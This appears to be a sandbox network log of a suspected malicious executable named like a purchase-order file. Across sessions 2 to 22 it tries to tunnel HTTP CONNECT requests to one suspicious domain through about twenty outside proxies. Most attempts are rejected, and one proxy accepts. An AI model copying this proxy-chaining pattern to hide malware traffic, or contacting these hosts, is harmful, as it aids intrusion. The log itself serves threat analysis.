Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49734	172.67.254.127	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:17.937724113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.091747999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49742	104.16.226.6	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:17.944516897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.098767042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49746	104.21.6.88	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:17.956032038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.110414028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49738	142.54.237.34	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:17.996181965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49767	172.67.182.169	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.016388893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.170716047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49771	104.17.9.114	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.037421942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.192034006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49770	162.243.102.207	9764	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.097060919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49713	79.110.196.145	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.101443052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49736	14.103.24.148	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.114152908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49799	45.12.31.3	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.121242046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.275711060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49740	43.133.136.208	8800	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.151901960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.514985085 CET	710	IN	HTTP/1.1 403 Forbidden Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 555 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49813	104.17.84.150	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.166373014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.321398973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49821	104.16.81.76	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.182564974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.336951017 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49776	20.37.207.8	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.209778070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.521771908 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49765	138.36.150.16	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.223812103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49841	185.162.229.127	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.231858015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.386439085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49853	172.67.187.242	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.256433964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.410537004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49862	104.25.135.170	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.282337904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.436718941 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49833	92.204.135.37	55019	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.286113977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.813533068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.485496044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49803	193.239.56.84	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.305115938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49823	147.75.92.251	9401	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.314452887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
